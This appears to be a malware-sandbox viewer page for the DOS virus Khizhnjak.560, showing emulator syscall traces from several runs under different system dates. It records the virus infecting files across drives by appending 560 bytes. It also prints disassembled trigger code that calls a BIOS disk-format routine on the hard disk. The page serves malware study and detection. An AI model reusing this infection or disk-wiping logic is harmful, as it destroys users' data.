Sample viewer

vx.netlux.org/Virus.DOS.Khizhnjak.560

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:08.360650751Z 25 PC: 13e54 | Get default drive
2018-12-17T22:35:08.362607891Z 14 PC: 13e5d | Set default drive (Drive = 'C')
2018-12-17T22:35:08.364677292Z 78 PC: 13e8e | Find first file
2018-12-17T22:35:08.370650955Z 67 PC: 13ed9 | Get or set file attributes
2018-12-17T22:35:09.090304622Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-17T22:35:09.097209842Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:09.101199475Z 66 PC: 13f3a | Move file pointer
2018-12-17T22:35:09.103114637Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:35:09.107466388Z 87 PC: 13f58 | Get or set file date and time
2018-12-17T22:35:09.109173119Z 66 PC: 13f78 | Move file pointer
2018-12-17T22:35:09.110982643Z 64 PC: 13f85 | Write file or device (Write 560 bytes on handle 5)
2018-12-17T22:35:09.118677554Z 66 PC: 13f90 | Move file pointer
2018-12-17T22:35:09.121222948Z 64 PC: 13f9c | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:35:09.12455658Z 87 PC: 13fab | Get or set file date and time
2018-12-17T22:35:09.127472619Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-17T22:35:09.130212978Z 62 PC: 13fe6 | Close file
2018-12-17T22:35:09.136872257Z 14 PC: 14000 | Set default drive (Drive = 'D')
2018-12-17T22:35:09.138860286Z 78 PC: 13e8e | Find first file
2018-12-17T22:35:09.143301866Z 67 PC: 13ed9 | Get or set file attributes
2018-12-17T22:35:09.151211931Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-17T22:35:09.159585184Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:09.178172815Z 66 PC: 13f3a | Move file pointer
2018-12-17T22:35:09.188783224Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:35:09.193603404Z 62 PC: 13e9b | Close file
2018-12-17T22:35:09.196338984Z 79 PC: 13ea5 | Find next file
2018-12-17T22:35:09.199301881Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-17T22:35:09.201938867Z 14 PC: 14000 | Set default drive (Drive = 'E')
2018-12-17T22:35:09.204133934Z 78 PC: 13e8e | Find first file
2018-12-17T22:35:09.209830768Z 67 PC: 13ed9 | Get or set file attributes
2018-12-17T22:35:09.21908869Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-17T22:35:09.227567071Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:09.230761122Z 66 PC: 13f3a | Move file pointer
2018-12-17T22:35:09.232550748Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:35:09.237067419Z 62 PC: 13e9b | Close file
2018-12-17T22:35:09.23927567Z 79 PC: 13ea5 | Find next file
2018-12-17T22:35:09.243076148Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-17T22:35:09.24632967Z 14 PC: 14000 | Set default drive (Drive = 'F')
2018-12-17T22:35:09.247700561Z 78 PC: 13e8e | Find first file
2018-12-17T22:35:09.253182021Z 67 PC: 13ed9 | Get or set file attributes
2018-12-17T22:35:09.262296555Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-17T22:35:09.269334444Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:09.272405584Z 66 PC: 13f3a | Move file pointer
2018-12-17T22:35:09.274231689Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:35:09.278488923Z 62 PC: 13e9b | Close file
2018-12-17T22:35:09.280667128Z 79 PC: 13ea5 | Find next file
2018-12-17T22:35:09.298148904Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-17T22:35:09.301865915Z 14 PC: 1400b | Set default drive (Drive = 'A')
2018-12-17T22:35:09.303917062Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-17T22:35:09.310376997Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6310,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:03.81155116Z 25 PC: 13e54 | Get default drive
2018-12-25T11:59:03.813289547Z 14 PC: 13e5d | Set default drive (Drive = 'C')
2018-12-25T11:59:03.815564714Z 78 PC: 13e8e | Find first file
2018-12-25T11:59:03.822140462Z 67 PC: 13ed9 | Get or set file attributes
2018-12-25T11:59:04.165980086Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-25T11:59:04.174548256Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:04.178315216Z 66 PC: 13f3a | Move file pointer
2018-12-25T11:59:04.180247551Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:59:04.1850517Z 87 PC: 13f58 | Get or set file date and time
2018-12-25T11:59:04.186996177Z 66 PC: 13f78 | Move file pointer
2018-12-25T11:59:04.188937635Z 64 PC: 13f85 | Write file or device (Write 560 bytes on handle 5)
2018-12-25T11:59:04.201392663Z 66 PC: 13f90 | Move file pointer
2018-12-25T11:59:04.207312498Z 64 PC: 13f9c | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:59:04.213579621Z 87 PC: 13fab | Get or set file date and time
2018-12-25T11:59:04.216613988Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-25T11:59:04.21955359Z 44 PC: 13fb8 | Get time 0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
0x13fe2: mov ah, 0x3e
0x13fe4: int 0x21
0x13fe6: cmp word ptr cs:[0x103], -1
0x13fec: je 0x14021
2018-12-25T11:59:04.221801349Z 62 PC: 13fe6 | Close file
2018-12-25T11:59:04.229564305Z 14 PC: 14000 | Set default drive (Drive = 'D')
2018-12-25T11:59:04.2314406Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.237578916Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.248163867Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.256217116Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.259526114Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.262597115Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.267018993Z 62 PC: 13e9b | Close file
2018-12-25T11:59:04.269515945Z 79 PC: 13ea5 | Find next file
2018-12-25T11:59:04.272605831Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.275600689Z 44 PC: 13fb8 | Get time (See above)
2018-12-25T11:59:04.278420503Z 14 PC: 14000 | Set default drive (See above)
2018-12-25T11:59:04.280111047Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.288046521Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.298108031Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.305464228Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.310059507Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.312024958Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.315844601Z 62 PC: 13e9b | Close file (See above)
2018-12-25T11:59:04.318353984Z 79 PC: 13ea5 | Find next file (See above)
2018-12-25T11:59:04.321792352Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.324108923Z 44 PC: 13fb8 | Get time (See above)
2018-12-25T11:59:04.326548491Z 14 PC: 14000 | Set default drive (See above)
2018-12-25T11:59:04.328556026Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.334475243Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.344648459Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.35267852Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.357074295Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.358817849Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.362931032Z 62 PC: 13e9b | Close file (See above)
2018-12-25T11:59:04.364889907Z 79 PC: 13ea5 | Find next file (See above)
2018-12-25T11:59:04.367779424Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.371606334Z 44 PC: 13fb8 | Get time (See above)
2018-12-25T11:59:04.374064178Z 14 PC: 1400b | Set default drive (Drive = 'A')
2018-12-25T11:59:04.375520059Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T11:59:04.382209763Z 0 PC: 12a89 | Program terminate

{"DateBased":true,"Day":1,"Month":5,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6310,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:03.903658733Z 25 PC: 13e54 | Get default drive
2018-12-25T11:59:03.905540878Z 14 PC: 13e5d | Set default drive (Drive = 'C')
2018-12-25T11:59:03.906849998Z 78 PC: 13e8e | Find first file
2018-12-25T11:59:03.91222197Z 67 PC: 13ed9 | Get or set file attributes
2018-12-25T11:59:04.242614237Z 61 PC: 13ee3 | Open file (Filename = '')
2018-12-25T11:59:04.254721575Z 63 PC: 13f01 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:04.257607889Z 66 PC: 13f3a | Move file pointer
2018-12-25T11:59:04.259321108Z 63 PC: 13f44 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:59:04.262099019Z 87 PC: 13f58 | Get or set file date and time
2018-12-25T11:59:04.263335618Z 66 PC: 13f78 | Move file pointer
2018-12-25T11:59:04.265185624Z 64 PC: 13f85 | Write file or device (Write 560 bytes on handle 5)
2018-12-25T11:59:04.272012555Z 66 PC: 13f90 | Move file pointer
2018-12-25T11:59:04.273314667Z 64 PC: 13f9c | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:59:04.276227386Z 87 PC: 13fab | Get or set file date and time
2018-12-25T11:59:04.278132721Z 42 PC: 13faf | Get date 0x13faf: cmp dh, 5
0x13fb2: jge 0x13fd7
0x13fb4: mov ah, 0x2c
0x13fb6: int 0x21
0x13fb8: cmp ch, 1
0x13fbb: jne 0x13fd7
0x13fbd: mov bx, 0x100
0x13fc0: mov dx, 0x80
0x13fc3: mov cx, 1
0x13fc6: mov ax, 0x501
0x13fc9: int 0x13
0x13fcb: jb 0x13fd7
0x13fcd: mov ax, 0x1b5
0x13fd0: push ax
0x13fd1: mov bx, 0x2f6
0x13fd4: inc bx
0x13fd5: jmp bx
0x13fd7: cmp word ptr [0x310], -1
0x13fdc: je 0x13fe6
0x13fde: mov bx, word ptr [0x310]
2018-12-25T11:59:04.280178025Z 62 PC: 13fe6 | Close file
2018-12-25T11:59:04.287215413Z 14 PC: 14000 | Set default drive (Drive = 'D')
2018-12-25T11:59:04.289505343Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.295021859Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.303764255Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.310476166Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.313039156Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.314302314Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.31820651Z 62 PC: 13e9b | Close file
2018-12-25T11:59:04.320118297Z 79 PC: 13ea5 | Find next file
2018-12-25T11:59:04.322963551Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.326406841Z 14 PC: 14000 | Set default drive (See above)
2018-12-25T11:59:04.327823345Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.333264443Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.343692148Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.349736919Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.352469668Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.354495925Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.357714704Z 62 PC: 13e9b | Close file (See above)
2018-12-25T11:59:04.359788744Z 79 PC: 13ea5 | Find next file (See above)
2018-12-25T11:59:04.363184619Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.365617873Z 14 PC: 14000 | Set default drive (See above)
2018-12-25T11:59:04.36707013Z 78 PC: 13e8e | Find first file (See above)
2018-12-25T11:59:04.372892693Z 67 PC: 13ed9 | Get or set file attributes (See above)
2018-12-25T11:59:04.381790296Z 61 PC: 13ee3 | Open file (See above)
2018-12-25T11:59:04.388144991Z 63 PC: 13f01 | Read file or device (See above)
2018-12-25T11:59:04.397968005Z 66 PC: 13f3a | Move file pointer (See above)
2018-12-25T11:59:04.399342438Z 63 PC: 13f44 | Read file or device (See above)
2018-12-25T11:59:04.402224391Z 62 PC: 13e9b | Close file (See above)
2018-12-25T11:59:04.404507548Z 79 PC: 13ea5 | Find next file (See above)
2018-12-25T11:59:04.407121403Z 42 PC: 13faf | Get date (See above)
2018-12-25T11:59:04.409113946Z 14 PC: 1400b | Set default drive (Drive = 'A')
2018-12-25T11:59:04.411166865Z 9 PC: 12a85 | Display string (String= ' ')
2018-12-25T11:59:04.417015481Z 0 PC: 12a89 | Program terminate